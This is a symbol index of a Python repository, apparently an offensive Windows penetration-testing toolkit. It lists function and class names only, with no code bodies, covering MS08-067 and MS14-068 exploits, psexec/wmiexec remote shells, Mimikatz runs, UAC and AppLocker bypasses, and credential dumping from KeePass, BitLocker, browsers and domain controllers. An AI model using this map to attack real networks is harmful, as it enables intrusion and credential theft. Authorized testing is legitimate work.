method __init__ (line 449) | def __init__(self, target, targetIp=None, username='', password='', do...
method getGoldenPAC (line 474) | def getGoldenPAC(self, authTime):
method getKerberosTGS (line 703) | def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, ses...
method getForestSid (line 816) | def getForestSid(self):
method getDomainControllers (line 859) | def getDomainControllers(self):
method getUserSID (line 899) | def getUserSID(self):
method getOutput (line 922) | def getOutput(self):
method exploit (line 925) | def exploit(self):
FILE: deps/ms08-067_check.py
class connectionException (line 75) | class connectionException(Exception):
class MS08_067 (line 79) | class MS08_067(Thread):
method __init__ (line 80) | def __init__(self, target, port=445):
method __checkPort (line 88) | def __checkPort(self):
method __connect (line 102) | def __connect(self):
method __bind (line 116) | def __bind(self):
method __forgePacket (line 135) | def __forgePacket(self):
method __compare (line 159) | def __compare(self):
method result (line 177) | def result(self):
method run (line 184) | def run(self):
FILE: deps/ms08_067.py
class connectionException (line 75) | class connectionException(Exception):
class MS08_067 (line 79) | class MS08_067(Thread):
method __init__ (line 80) | def __init__(self, target, port=445):
method __checkPort (line 88) | def __checkPort(self):
method __connect (line 106) | def __connect(self):
method __bind (line 124) | def __bind(self):
method __forgePacket (line 143) | def __forgePacket(self):
method __compare (line 167) | def __compare(self):
method result (line 185) | def result(self):
method run (line 192) | def run(self):
FILE: deps/ms14_068.py
class ThreadingSimpleServer (line 144) | class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):
class ForkingSimpleServer (line 147) | class ForkingSimpleServer(ForkingMixIn, HTTPServer):
class colors (line 149) | class colors:
method __init__ (line 150) | def __init__(self):
class RemoteOperationsReg (line 159) | class RemoteOperationsReg:
method __init__ (line 161) | def __init__(
method getRRP (line 184) | def getRRP(self):
method __connectSvcCtl (line 187) | def __connectSvcCtl(self):
method connectWinReg (line 195) | def connectWinReg(self):
method __checkServiceStatus (line 203) | def __checkServiceStatus(self):
method enableRegistry (line 251) | def enableRegistry(self):
method __restore (line 256) | def __restore(self):
method finish (line 270) | def finish(self):
class RegHandler (line 278) | class RegHandler:
method __init__ (line 280) | def __init__(
method connect (line 322) | def connect(self, remoteName, remoteHost):
method run (line 360) | def run(self, remoteName, remoteHost):
method query (line 399) | def query(
method __print_key_values (line 459) | def __print_key_values(self, rpc, keyHandler):
method __print_all_entries (line 487) | def __print_all_entries(
method __print_all_subkeys_and_entries (line 528) | def __print_all_subkeys_and_entries(
method __parse_lp_data (line 566) | def __parse_lp_data(valueType, valueData):
function getNetBiosName (line 603) | def getNetBiosName(ip):
function listDatabases (line 612) | def listDatabases(db,conn):
function listTables (line 627) | def listTables(db,conn,dbName):
function listColumns (line 637) | def listColumns(db,conn,dbName,tableName):
function sampleData (line 647) | def sampleData(db,conn,dbName,tableName):
function dumpSQLHashes (line 658) | def dumpSQLHashes(db,conn,pre2008=True):
function getSQLVersion (line 677) | def getSQLVersion(db,conn):
function testMSSQL (line 683) | def testMSSQL(host,port,user,password,password_hash=None,domain=None,dom...
function testAdminAccess (line 739) | def testAdminAccess(tmphostno, tmpdomain, tmpusername, tmppassword, tmpp...
function testDomainCredentials (line 763) | def testDomainCredentials(username,password,passwordHash,ip,domain):
function testDomainCredentials1 (line 833) | def testDomainCredentials1(username,password,hostNo):
function getDomainAdminUsers (line 843) | def getDomainAdminUsers(username,password,hostNo):
function runPSEXEC (line 896) | def runPSEXEC(targetIP,domain,username,password,passwordHash,command):
function runWMIEXEC (line 908) | def runWMIEXEC(targetIP,domain,username,password,passwordHash,command):
function setDemo (line 923) | def setDemo():
function checkCurrentTime (line 926) | def checkCurrentTime():
function checkRemoteTime (line 929) | def checkRemoteTime(targetIP):
function get_process_children (line 932) | def get_process_children(pid):
function runCommand (line 937) | def runCommand(args, cwd = None, shell = False, kill_tree = True, timeou...
function runCommand1 (line 963) | def runCommand1(fullCmd):
function setColor (line 969) | def setColor(message, bold=False, color=None, onColor=None):
function convertWinToLinux (line 973) | def convertWinToLinux(filename):
function parseMimikatzOutput (line 983) | def parseMimikatzOutput(list1):
function analyzeHashes (line 1030) | def analyzeHashes(hashList):
function dumpDCHashes (line 1062) | def dumpDCHashes(tmphostno,tmpdomain,tmpusername,tmppassword):
function runMimikatz (line 1108) | def runMimikatz(targetIP,domain,username,password,passwordHash):
function get_ip_address (line 1134) | def get_ip_address():
function reverseLookup (line 1140) | def reverseLookup(ip):
function powershell_encode (line 1157) | def powershell_encode(data):
function uploadFile (line 1173) | def uploadFile(remoteFilename,localFilename,targetIP, domain, username, ...
function getPowershellPath (line 1177) | def getPowershellPath(osArch64):
function getPowershellVersion (line 1185) | def getPowershellVersion(targetIP,domain,username,password,passwordHash):
function checkUAC (line 1196) | def checkUAC(targetIP,domain,username,password,passwordHash):
function bypassUAC (line 1210) | def bypassUAC(targetIP,domain,username,password,passwordHash):
function tokensPriv (line 1221) | def tokensPriv(targetIP,domain,username,password,passwordHash):
function generateRandomStr (line 1377) | def generateRandomStr():
function listUsers (line 1382) | def listUsers(targetIP,domain,username,password,passwordHash):
function listProcesses (line 1394) | def listProcesses(targetIP,domain,username,password):
function memCredDump (line 1410) | def memCredDump(targetIP,domain,username,password,passwordHash,processNa...
function diskCredDump (line 1416) | def diskCredDump(targetIP,domain,username,password,passwordHash):
function listRemoteShare (line 1422) | def listRemoteShare(targetIP,domain, username, password):
function getInstalledPrograms (line 1491) | def getInstalledPrograms(targetIP,domain,username,password,passwordHash):
function readRemoteRegistry (line 1513) | def readRemoteRegistry(targetIP,domain,username,password,passwordHash,ke...
function downloadFile (line 1530) | def downloadFile(targetIP,domain,username,password,filePath):
function parseSiteManagerXML (line 1555) | def parseSiteManagerXML(filename):
function decryptUltraVNC (line 1589) | def decryptUltraVNC(hashPassword):
function parseUltraVNC (line 1600) | def parseUltraVNC(filename):
function parseUnattendXML (line 1620) | def parseUnattendXML(filename):
function decryptGPP (line 1666) | def decryptGPP(cpassword):
function getOSType (line 1678) | def getOSType():
function mountSysvol (line 1682) | def mountSysvol(username,password):
function findInterestingFiles (line 1760) | def findInterestingFiles(targetIP,domain,username,password,passwordHash):
function findInterestingRegKeys (line 1820) | def findInterestingRegKeys(targetIP,domain,username,password,passwordHash):
function runDumpMSSQL (line 1850) | def runDumpMSSQL(targetIP,domain,username,password,passwordHash):
function runDumpVault (line 1875) | def runDumpVault(targetIP,domain,username,password,passwordHash):
function dumpWifi (line 1888) | def dumpWifi(targetIP,domain,username,password,passwordHash):
function dumpBrowser (line 1955) | def dumpBrowser(targetIP,domain,username,password,passwordHash):
function dumpIIS (line 2152) | def dumpIIS(targetIP,domain,username,password,passwordHash):
function localPrivEscalation (line 2179) | def localPrivEscalation():
function setDateTime (line 2184) | def setDateTime(date1):
function compareTime (line 2188) | def compareTime(date1,date2):
function isOpen (line 2232) | def isOpen(ip,port):
function scanThread (line 2246) | def scanThread(ip, port):
function syncDateTime (line 2253) | def syncDateTime(dateTime1):
function convertMth (line 2270) | def convertMth(text):
function convertMthNum (line 2296) | def convertMthNum(text):
function testMS14_068 (line 2322) | def testMS14_068(ip,domain,username,password,passwordHash):
function cardLuhnChecksumIsValid (line 2419) | def cardLuhnChecksumIsValid(card_number):
function addPasswords (line 2433) | def addPasswords(tmpPasswordList):
function addHashes (line 2442) | def addHashes(tmpHashList):
function accessRemoteShare (line 2462) | def accessRemoteShare(targetIP,filePath,domain, username, password):
function my_tcp_server (line 2484) | def my_tcp_server():
FILE: deps/ndr.py
class ndr_opcode (line 28) | class ndr_opcode:
method __init__ (line 29) | def __init__(self, **kwargs):
method align (line 36) | def align(self, data):
method set_context_handle (line 40) | def set_context_handle(self, handle):
method serialize (line 48) | def serialize(self):
class ndr_primitive (line 63) | class ndr_primitive(object):
method align (line 64) | def align(self, data):
method serialize (line 67) | def serialize(self):
class ndr_container (line 70) | class ndr_container(object):
method align (line 71) | def align(self, data):
method add_static (line 74) | def add_static(self, obj):
method add_deferred (line 84) | def add_deferred(self, obj):
method serialize (line 94) | def serialize(self):
class ndr_pad (line 103) | class ndr_pad(ndr_primitive):
method __init__ (line 107) | def __init__(self):
class ndr_byte (line 110) | class ndr_byte(ndr_primitive):
method __init__ (line 114) | def __init__(self, **kwargs):
method get_data (line 120) | def get_data(self):
method set_data (line 123) | def set_data(self, new_data):
method get_name (line 126) | def get_name(self):
method get_size (line 129) | def get_size(self):
method serialize (line 132) | def serialize(self):
class ndr_small (line 138) | class ndr_small(ndr_primitive):
method __init__ (line 142) | def __init__(self, **kwargs):
method get_data (line 148) | def get_data(self):
method set_data (line 151) | def set_data(self, new_data):
method get_name (line 154) | def get_name(self):
method get_size (line 157) | def get_size(self):
method serialize (line 160) | def serialize(self):
class ndr_char (line 166) | class ndr_char(ndr_primitive):
method __init__ (line 170) | def __init__(self, **kwargs):
method get_data (line 179) | def get_data(self):
method set_data (line 182) | def set_data(self, new_data):
method get_name (line 185) | def get_name(self):
method get_size (line 188) | def get_size(self):
method serialize (line 191) | def serialize(self):
class ndr_wchar (line 194) | class ndr_wchar(ndr_primitive):
method __init__ (line 198) | def __init__(self, **kwargs):
method get_data (line 207) | def get_data(self):
method set_data (line 210) | def set_data(self, new_data):
method get_name (line 213) | def get_name(self):
method get_size (line 216) | def get_size(self):
method serialize (line 219) | def serialize(self):
class ndr_void (line 222) | class ndr_void(ndr_primitive):
method __init__ (line 226) | def __init__(self, **kwargs):
method get_data (line 231) | def get_data(self):
method set_data (line 234) | def set_data(self, new_data):
method get_name (line 237) | def get_name(self):
method get_size (line 240) | def get_size(self):
method serialize (line 243) | def serialize(self):
class ndr_user_marshal (line 246) | class ndr_user_marshal(ndr_primitive):
method __init__ (line 252) | def __init__(self, **kwargs):
method get_size (line 258) | def get_size(self):
method get_packed (line 261) | def get_packed(self):
class ndr_range (line 264) | class ndr_range(ndr_primitive):
method __init__ (line 268) | def __init__(self, low=0x0, high=0xffffffff, data=""):
method get_data (line 274) | def get_data(self):
method set_data (line 277) | def set_data(self, new_data):
method get_size (line 280) | def get_size(self):
method serialize (line 283) | def serialize(self):
class ndr_enum16 (line 294) | class ndr_enum16(ndr_primitive):
method __init__ (line 298) | def __init__(self, **kwargs):
method get_data (line 304) | def get_data(self):
method set_data (line 307) | def set_data(self, new_data):
method get_name (line 310) | def get_name(self):
method get_size (line 313) | def get_size(self):
method serialize (line 316) | def serialize(self):
class ndr_short (line 322) | class ndr_short(ndr_primitive):
method __init__ (line 326) | def __init__(self, **kwargs):
method get_data (line 332) | def get_data(self):
method set_data (line 335) | def set_data(self, new_data):
method get_name (line 338) | def get_name(self):
method get_size (line 341) | def get_size(self):
method serialize (line 344) | def serialize(self):
class ndr_interface (line 350) | class ndr_interface(ndr_primitive):
method __init__ (line 354) | def __init__(self, **kwargs):
method get_data (line 359) | def get_data(self):
method set_data (line 362) | def set_data(self, new_data):
method get_name (line 365) | def get_name(self):
method get_size (line 368) | def get_size(self):
method serialize (line 371) | def serialize(self):
class ndr_long (line 374) | class ndr_long(ndr_primitive):
method __init__ (line 378) | def __init__(self, **kwargs):
method set_data (line 384) | def set_data(self, new_data):
method get_data (line 387) | def get_data(self):
method get_name (line 390) | def get_name(self):
method get_size (line 393) | def get_size(self):
method serialize (line 396) | def serialize(self):
class ndr_hyper (line 402) | class ndr_hyper(ndr_primitive):
method __init__ (line 406) | def __init__(self, **kwargs):
method get_data (line 412) | def get_data(self):
method set_data (line 415) | def set_data(self, new_data):
method get_name (line 418) | def get_name(self):
method get_size (line 421) | def get_size(self):
method serialize (line 424) | def serialize(self):
class ndr_empty (line 430) | class ndr_empty(ndr_primitive):
method __init__ (line 434) | def __init__(self, **kwargs):
method get_data (line 439) | def get_data(self):
method get_name (line 442) | def get_name(self):
method get_size (line 445) | def get_size(self):
method serialize (line 448) | def serialize(self):
class ndr_float (line 451) | class ndr_float(ndr_primitive):
method __init__ (line 455) | def __init__(self, **kwargs):
method get_data (line 460) | def get_data(self):
method set_data (line 463) | def set_data(self, new_data):
method get_name (line 466) | def get_name(self):
method get_size (line 469) | def get_size(self):
method serialize (line 472) | def serialize(self):
class ndr_double (line 475) | class ndr_double(ndr_primitive):
method __init__ (line 479) | def __init__(self, **kwargs):
method get_data (line 484) | def get_data(self):
method set_data (line 487) | def set_data(self, new_data):
method get_name (line 490) | def get_name(self):
method serialize (line 493) | def serialize(self):
class ndr_string (line 496) | class ndr_string(ndr_primitive):
method __init__ (line 500) | def __init__(self, **kwargs):
method pad (line 506) | def pad(self, data):
method get_data (line 509) | def get_data(self):
method set_data (line 512) | def set_data(self, new_data):
method get_name (line 515) | def get_name(self):
method get_size (line 518) | def get_size(self):
method serialize (line 521) | def serialize(self):
class ndr_wstring (line 534) | class ndr_wstring(ndr_primitive):
method __init__ (line 538) | def __init__(self, **kwargs):
method pad (line 544) | def pad(self, data):
method set_data (line 547) | def set_data(self, new_data):
method get_data (line 550) | def get_data(self):
method get_name (line 553) | def get_name(self):
method get_size (line 556) | def get_size(self):
method serialize (line 559) | def serialize(self):
class ndr_string_nonconformant (line 570) | class ndr_string_nonconformant(ndr_primitive):
method __init__ (line 574) | def __init__(self, **kwargs):
method pad (line 580) | def pad(self, data):
method set_data (line 583) | def set_data(self, new_data):
method get_data (line 586) | def get_data(self):
method get_name (line 589) | def get_name(self):
method get_size (line 592) | def get_size(self):
method serialize (line 595) | def serialize(self):
class ndr_wstring_nonconformant (line 611) | class ndr_wstring_nonconformant(ndr_primitive):
method __init__ (line 615) | def __init__(self, **kwargs):
method pad (line 621) | def pad(self, data):
method set_data (line 624) | def set_data(self, new_data):
method get_data (line 627) | def get_data(self):
method get_name (line 630) | def get_name(self):
method get_size (line 633) | def get_size(self):
method serialize (line 636) | def serialize(self):
class ndr_error_status (line 652) | class ndr_error_status(ndr_primitive):
method __init__ (line 653) | def __init__(self, **kwargs):
method get_data (line 658) | def get_data(self):
method set_data (line 661) | def set_data(self, new_data):
method get_name (line 664) | def get_name(self):
method get_size (line 667) | def get_size(self):
method serialize (line 670) | def serialize(self):
class ndr_callback (line 673) | class ndr_callback(ndr_primitive):
method __init__ (line 678) | def __init__(self, **kwargs):
method get_data (line 683) | def get_data(self):
method set_data (line 686) | def set_data(self, new_data):
method get_name (line 689) | def get_name(self):
method get_size (line 692) | def get_size(self):
method serialize (line 695) | def serialize(self):
class ndr_context_handle (line 698) | class ndr_context_handle(ndr_primitive):
method __init__ (line 702) | def __init__(self, **kwargs):
method get_data (line 707) | def get_data(self):
method get_name (line 710) | def get_name(self):
method get_size (line 713) | def get_size(self):
method serialize (line 716) | def serialize(self):
class ndr_pipe (line 719) | class ndr_pipe(ndr_primitive):
method __init__ (line 723) | def __init__(self, **kwargs):
method get_data (line 728) | def get_data(self):
method get_name (line 731) | def get_name(self):
method get_size (line 734) | def get_size(self):
method serialize (line 737) | def serialize(self):
class ndr_handle_t (line 740) | class ndr_handle_t(ndr_primitive):
method __init__ (line 744) | def __init__(self, **kwargs):
method get_data (line 749) | def get_data(self):
method get_name (line 752) | def get_name(self):
method get_size (line 755) | def get_size(self):
method serialize (line 758) | def serialize(self):
class ndr_union (line 767) | class ndr_union:
method __init__ (line 772) | def __init__(self, **kwargs):
method get_data (line 779) | def get_data(self):
method set_data (line 782) | def set_data(self, new_data):
method get_name (line 785) | def get_name(self):
method get_size (line 788) | def get_size(self):
method add_element (line 791) | def add_element(self, case, element):
method serialize (line 794) | def serialize(self):
class ndr_unique (line 820) | class ndr_unique(ndr_container):
method __init__ (line 821) | def __init__(self, **kwargs):
method get_name (line 834) | def get_name(self):
method get_size (line 837) | def get_size(self):
method get_data (line 840) | def get_data(self):
method set_data (line 843) | def set_data(self, new_data):
method serialize (line 847) | def serialize(self):
class ndr_full (line 876) | class ndr_full(ndr_container):
method __init__ (line 877) | def __init__(self, **kwargs):
method get_name (line 890) | def get_name(self):
method get_size (line 893) | def get_size(self):
method get_data (line 896) | def get_data(self):
method set_data (line 899) | def set_data(self, new_data):
method serialize (line 903) | def serialize(self):
class ndr_struct (line 938) | class ndr_struct(ndr_container):
method __init__ (line 939) | def __init__(self, **kwargs):
method get_data (line 953) | def get_data(self):
method set_data (line 956) | def set_data(self, new_data):
method add_element (line 959) | def add_element(self, element):
method del_element (line 962) | def del_element(self, eid):
method get_element_by_id (line 967) | def get_element_by_id(self, eid=0):
method get_element_by_name (line 970) | def get_element_by_name(self, name):
method get_name (line 980) | def get_name(self):
method get_size (line 983) | def get_size(self):
method serialize (line 986) | def serialize(self):
class ndr_array (line 1029) | class ndr_array(ndr_container):
method array_serialize (line 1030) | def array_serialize(self, count):
class ndr_array_fixed (line 1063) | class ndr_array_fixed(ndr_array):
method __init__ (line 1064) | def __init__(self, **kwargs):
method set_data (line 1078) | def set_data(self, new_data):
method get_size (line 1082) | def get_size(self):
method get_count (line 1085) | def get_count(self):
method serialize (line 1088) | def serialize(self):
class ndr_array_conformant (line 1096) | class ndr_array_conformant(ndr_array):
method __init__ (line 1097) | def __init__(self, **kwargs):
method set_data (line 1112) | def set_data(self, new_data):
method get_size (line 1116) | def get_size(self):
method serialize (line 1119) | def serialize(self):
class ndr_array_varying (line 1155) | class ndr_array_varying(ndr_array):
method __init__ (line 1156) | def __init__(self, **kwargs):
method set_data (line 1172) | def set_data(self, new_data):
method get_size (line 1176) | def get_size(self):
method serialize (line 1179) | def serialize(self):
class ndr_array_conformant_varying (line 1207) | class ndr_array_conformant_varying(ndr_array):
method __init__ (line 1208) | def __init__(self, **kwargs):
method set_data (line 1230) | def set_data(self, new_data):
method get_size (line 1234) | def get_size(self):
method serialize (line 1237) | def serialize(self):
FILE: deps/psexec.py
class RemComMessage (line 35) | class RemComMessage(Structure):
class RemComResponse (line 45) | class RemComResponse(Structure):
class PSEXEC (line 57) | class PSEXEC:
method __init__ (line 58) | def __init__(self, command, path, exeFile, copyFile, port=445,
method getOutput (line 76) | def getOutput(self):
method clearOutput (line 84) | def clearOutput(self):
method run (line 88) | def run(self, remoteName, remoteHost):
method openPipe (line 104) | def openPipe(self, s, tid, pipe, accessMask):
method doStuff (line 124) | def doStuff(self, rpctransport):
class Pipes (line 229) | class Pipes(Thread):
method __init__ (line 230) | def __init__(self, transport, pipe, permissions, share=None):
method connectPipe (line 243) | def connectPipe(self):
class RemoteStdOutPipe (line 268) | class RemoteStdOutPipe(Pipes):
method __init__ (line 269) | def __init__(self, transport, pipe, permisssions):
method run (line 272) | def run(self):
function __init__ (line 298) | def __init__(self, transport, pipe, permisssions):
function run (line 301) | def run(self):
function __init__ (line 316) | def __init__(self, server, port, credentials, tid, fid, share, transport):
function connect_transferClient (line 329) | def connect_transferClient(self):
function do_help (line 340) | def do_help(self, line):
function do_shell (line 350) | def do_shell(self, s):
function do_get (line 354) | def do_get(self, src_path):
function do_put (line 371) | def do_put(self, s):
function do_lcd (line 396) | def do_lcd(self, s):
function emptyline (line 403) | def emptyline(self):
function default (line 410) | def default(self, line):
function send_data (line 413) | def send_data(self, data, hideOutput = True):
function __init__ (line 422) | def __init__(self, transport, pipe, permisssions, share=None):
function run (line 426) | def run(self):
FILE: deps/secretsdump.py
class DumpSecrets (line 58) | class DumpSecrets:
method __init__ (line 60) | def __init__(self, address, username='', password='', passwordHash='',...
method connect (line 122) | def connect(self):
method dump (line 130) | def dump(self):
method cleanup (line 257) | def cleanup(self):
FILE: deps/smb_exploit.py
class SMB_HEADER (line 28) | class SMB_HEADER(Structure):
method __new__ (line 51) | def __new__(self, buffer=None):
method __init__ (line 54) | def __init__(self, buffer):
function generate_smb_proto_payload (line 70) | def generate_smb_proto_payload(*protos):
function calculate_doublepulsar_xor_key (line 79) | def calculate_doublepulsar_xor_key(s):
function negotiate_proto_request (line 87) | def negotiate_proto_request():
function session_setup_andx_request (line 132) | def session_setup_andx_request():
function tree_connect_andx_request (line 179) | def tree_connect_andx_request(ip, userid):
function peeknamedpipe_request (line 227) | def peeknamedpipe_request(treeid, processid, userid, multiplex_id):
function trans2_request (line 277) | def trans2_request(treeid, processid, userid, multiplex_id):
function check (line 325) | def check(ip, port=445):
FILE: deps/smbexec.py
class SMBServer (line 51) | class SMBServer(Thread):
method __init__ (line 52) | def __init__(self):
method cleanup_server (line 56) | def cleanup_server(self):
method run (line 64) | def run(self):
method stop (line 103) | def stop(self):
class CMDEXEC (line 109) | class CMDEXEC:
method __init__ (line 110) | def __init__(self, username='', password='', domain='', hashes=None, a...
method run (line 130) | def run(self, remoteName, remoteHost):
method getOutput (line 167) | def getOutput(self):
method stop (line 174) | def stop(self):
class RemoteShell (line 179) | class RemoteShell(cmd.Cmd):
method __init__ (line 180) | def __init__(self, share, rpc, mode, serviceName, command):
method finish (line 216) | def finish(self):
method do_shell (line 232) | def do_shell(self, s):
method do_exit (line 235) | def do_exit(self, s):
method emptyline (line 238) | def emptyline(self):
method do_cd (line 241) | def do_cd(self, s):
method do_CD (line 252) | def do_CD(self, s):
method default (line 255) | def default(self, line):
method get_output (line 259) | def get_output(self):
method execute_remote (line 274) | def execute_remote(self, data):
method send_data (line 294) | def send_data(self, data):
FILE: deps/wmiexec.py
class WMIEXEC (line 44) | class WMIEXEC:
method __init__ (line 45) | def __init__(self, command='', username='', password='', domain='', ha...
method getOutput (line 62) | def getOutput(self):
method run (line 69) | def run(self, addr):
class RemoteShell (line 135) | class RemoteShell(cmd.Cmd):
method __init__ (line 136) | def __init__(self, share, win32Process, smbConnection):
method do_shell (line 155) | def do_shell(self, s):
method do_help (line 158) | def do_help(self, line):
method do_lcd (line 167) | def do_lcd(self, s):
method do_get (line 176) | def do_get(self, src_path):
method do_put (line 191) | def do_put(self, s):
method do_exit (line 214) | def do_exit(self, s):
method emptyline (line 217) | def emptyline(self):
method do_cd (line 220) | def do_cd(self, s):
method default (line 232) | def default(self, line):
method get_output (line 252) | def get_output(self):
method execute_remote (line 277) | def execute_remote(self, data):
method send_data (line 285) | def send_data(self, data):
class AuthFileSyntaxError (line 298) | class AuthFileSyntaxError(Exception):
method __init__ (line 303) | def __init__(self, path, lineno, reason):
method __str__ (line 308) | def __str__(self):
function load_smbclient_auth_file (line 312) | def load_smbclient_auth_file(path):
FILE: portia.py
class ThreadingSimpleServer (line 160) | class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):
class ForkingSimpleServer (line 163) | class ForkingSimpleServer(ForkingMixIn, HTTPServer):
class colors (line 172) | class colors:
method __init__ (line 173) | def __init__(self):
class RemoteOperationsReg (line 182) | class RemoteOperationsReg:
method __init__ (line 184) | def __init__(
method getRRP (line 207) | def getRRP(self):
method __connectSvcCtl (line 210) | def __connectSvcCtl(self):
method connectWinReg (line 218) | def connectWinReg(self):
method __checkServiceStatus (line 226) | def __checkServiceStatus(self):
method enableRegistry (line 262) | def enableRegistry(self):
method __restore (line 267) | def __restore(self):
method finish (line 278) | def finish(self):
class RegHandler (line 286) | class RegHandler:
method __init__ (line 288) | def __init__(
method connect (line 328) | def connect(self, remoteName, remoteHost):
method run (line 365) | def run(self, remoteName, remoteHost):
method query (line 399) | def query(
method __print_key_values (line 437) | def __print_key_values(self, rpc, keyHandler):
method __print_all_entries (line 465) | def __print_all_entries(
method __print_all_subkeys_and_entries (line 506) | def __print_all_subkeys_and_entries(
method __parse_lp_data (line 544) | def __parse_lp_data(valueType, valueData):
function getNetBiosName (line 578) | def getNetBiosName(ip):
function cleanUp (line 587) | def cleanUp():
function encodeJavaScript (line 592) | def encodeJavaScript(str1):
function appLockerBypass2 (line 638) | def appLockerBypass2(targetIP, domain, username, password, passwordHash,...
function appLockerBypass3 (line 756) | def appLockerBypass3(targetIP, domain, username, password, passwordHash,...
function appLockerBypass4 (line 763) | def appLockerBypass4(targetIP, domain, username, password, passwordHash,...
function listDatabases (line 800) | def listDatabases(db,conn):
function listTables (line 815) | def listTables(db,conn,dbName):
function listColumns (line 825) | def listColumns(db,conn,dbName,tableName):
function sampleData (line 835) | def sampleData(db,conn,dbName,tableName):
function dumpSQLHashes (line 843) | def dumpSQLHashes(db,conn,pre2008=True):
function getSQLVersion (line 881) | def getSQLVersion(db,conn):
function runSQLQuery (line 889) | def runSQLQuery(hostNo,user,password,query):
function bruteMSSQLAuto (line 905) | def bruteMSSQLAuto(hostNo,portNo):
function bruteMSSQL (line 1159) | def bruteMSSQL(hostNo,portNo):
function checkXPCMDShell (line 1376) | def checkXPCMDShell(hostNo,port,username,password,domain):
function execXPCMDShell (line 1387) | def execXPCMDShell(hostNo,port,username,password,domain,cmd):
function enableXPCMDShell (line 1395) | def enableXPCMDShell(hostNo,port,username,password,domain):
function disableXPCMDShell (line 1403) | def disableXPCMDShell(hostNo,port,username,password,domain):
function dumpMSSQLHash (line 1411) | def dumpMSSQLHash(hostNo,port,username,password,domain):
function dumpMSSQLIDF (line 1445) | def dumpMSSQLIDF(hostNo,port,username,password,domain):
function testMSSQL1 (line 1574) | def testMSSQL1(host,port,user,password,password_hash=None,domain=None,do...
function testAdminAccess (line 1630) | def testAdminAccess(tmphostno, tmpdomain, tmpusername, tmppassword, tmpp...
function testDomainCredentials (line 1638) | def testDomainCredentials(username,password,passwordHash,ip,domain,silent):
function testDomainCredentials1 (line 1695) | def testDomainCredentials1(username,password,hostNo):
function getDomainAdminUsers (line 1705) | def getDomainAdminUsers(username,password,hostNo):
function runPSEXEC (line 1760) | def runPSEXEC(targetIP,domain,username,password,passwordHash,command):
function runSMBEXEC (line 1772) | def runSMBEXEC(targetIP,domain,username,password,passwordHash,command):
function runWMIEXEC (line 1779) | def runWMIEXEC(targetIP,domain,username,password,passwordHash,command):
function setDemo (line 1794) | def setDemo():
function checkCurrentTime (line 1797) | def checkCurrentTime():
function checkRemoteTime (line 1800) | def checkRemoteTime(targetIP):
function get_process_children (line 1803) | def get_process_children(pid):
function runCommand (line 1808) | def runCommand(args, cwd = None, shell = False, kill_tree = True, timeou...
function runCommand1 (line 1834) | def runCommand1(fullCmd):
function setColor (line 1840) | def setColor(message, bold=False, color=None, onColor=None):
function convertWinToLinux (line 1844) | def convertWinToLinux(filename):
function parseMimikatzOutput (line 1853) | def parseMimikatzOutput(list1):
function analyzeHashes (line 1900) | def analyzeHashes(hashList):
function analyzeHashes1 (line 1930) | def analyzeHashes1(hashList):
function analyzePasswords (line 1961) | def analyzePasswords(tmpPassList):
function dumpDCHashes (line 1984) | def dumpDCHashes(tmphostno,tmpdomain,tmpusername,tmppassword,tmppassword...
function runRemoteCMD (line 2058) | def runRemoteCMD(targetIP,domain,username,password,passwordHash,command):
function testAccount (line 2064) | def testAccount(targetIP, domain, username, password, passwordHash):
function testAccountSilent (line 2089) | def testAccountSilent(targetIP, domain, username, password, passwordHash):
function testPowershell (line 2098) | def testPowershell(targetIP, domain, username, password, passwordHash):
function addressInNetwork (line 2112) | def addressInNetwork(ip, net):
function processMimikatzTxt (line 2120) | def processMimikatzTxt(tmpFilename):
function findRoute (line 2134) | def findRoute(targetIP,domain,username,password,passwordHash):
function updateMimiStaging (line 2179) | def updateMimiStaging(targetIP,domain,username,password,passwordHash):
function runMimikatz (line 2237) | def runMimikatz(targetIP,domain,username,password,passwordHash):
function get_ip_address (line 2422) | def get_ip_address():
function reverseLookup (line 2428) | def reverseLookup(ip):
function powershell_encode (line 2445) | def powershell_encode(data):
function uploadFile (line 2455) | def uploadFile(remoteFilename,localFilename,targetIP, domain, username, ...
function getCPUType (line 2470) | def getCPUType(targetIP,domain,username,password,passwordHash):
function getPowershellPath (line 2478) | def getPowershellPath(targetIP,domain,username,password,passwordHash):
function getPowershellVersionBak (line 2492) | def getPowershellVersionBak(targetIP,domain,username,password,passwordHa...
function tokensPriv (line 2505) | def tokensPriv(targetIP,domain,username,password,passwordHash):
function generateRandomStr (line 2722) | def generateRandomStr():
function listUsers (line 2727) | def listUsers(targetIP,domain,username,password,passwordHash):
function listProcesses (line 2739) | def listProcesses(targetIP,domain,username,password,passwordHash):
function sessionGopher (line 2770) | def sessionGopher(targetIP,domain,username,password,passwordHash):
function getCurrentUsers (line 2788) | def getCurrentUsers(targetIP,domain,username,password,passwordHash):
function getKeepass (line 2819) | def getKeepass(targetIP,domain,username,password,passwordHash):
function getTruecrypt (line 2902) | def getTruecrypt(targetIP,domain,username,password,passwordHash):
function getBitlockerKeys (line 2993) | def getBitlockerKeys(targetIP,domain,username,password,passwordHash):
function memCredDump (line 3012) | def memCredDump(targetIP,domain,username,password,passwordHash,processNa...
function diskCredDump (line 3018) | def diskCredDump(targetIP,domain,username,password,passwordHash):
function listRemoteShare (line 3100) | def listRemoteShare(targetIP,domain, username, password):
function getInstalledPrograms (line 3167) | def getInstalledPrograms(targetIP,domain,username,password,passwordHash):
function readRemoteRegistry (line 3207) | def readRemoteRegistry(targetIP,domain,username,password,passwordHash,ke...
function downloadFile (line 3223) | def downloadFile(targetIP,domain,username,password,filePath):
function parseSiteManagerXML (line 3251) | def parseSiteManagerXML(filename):
function decryptUltraVNC (line 3285) | def decryptUltraVNC(hashPassword):
function parseUltraVNC (line 3296) | def parseUltraVNC(filename):
function parseUnattendXML (line 3316) | def parseUnattendXML(filename):
function decryptGPP (line 3361) | def decryptGPP(cpassword):
function getOSType (line 3373) | def getOSType():
function mountSysvol (line 3377) | def mountSysvol(username,password):
function findInterestingFiles (line 3502) | def findInterestingFiles(targetIP,domain,username,password,passwordHash):
function findInterestingRegKeys (line 3618) | def findInterestingRegKeys(targetIP,domain,username,password,passwordHash):
function runDumpMSSQL (line 3648) | def runDumpMSSQL(targetIP,domain,username,password,passwordHash):
function runDumpVault (line 3672) | def runDumpVault(targetIP,domain,username,password,passwordHash):
function dumpWifi (line 3683) | def dumpWifi(targetIP,domain,username,password,passwordHash):
function dumpBrowser (line 3749) | def dumpBrowser(targetIP,domain,username,password,passwordHash):
function dumpIIS (line 3943) | def dumpIIS(targetIP,domain,username,password,passwordHash):
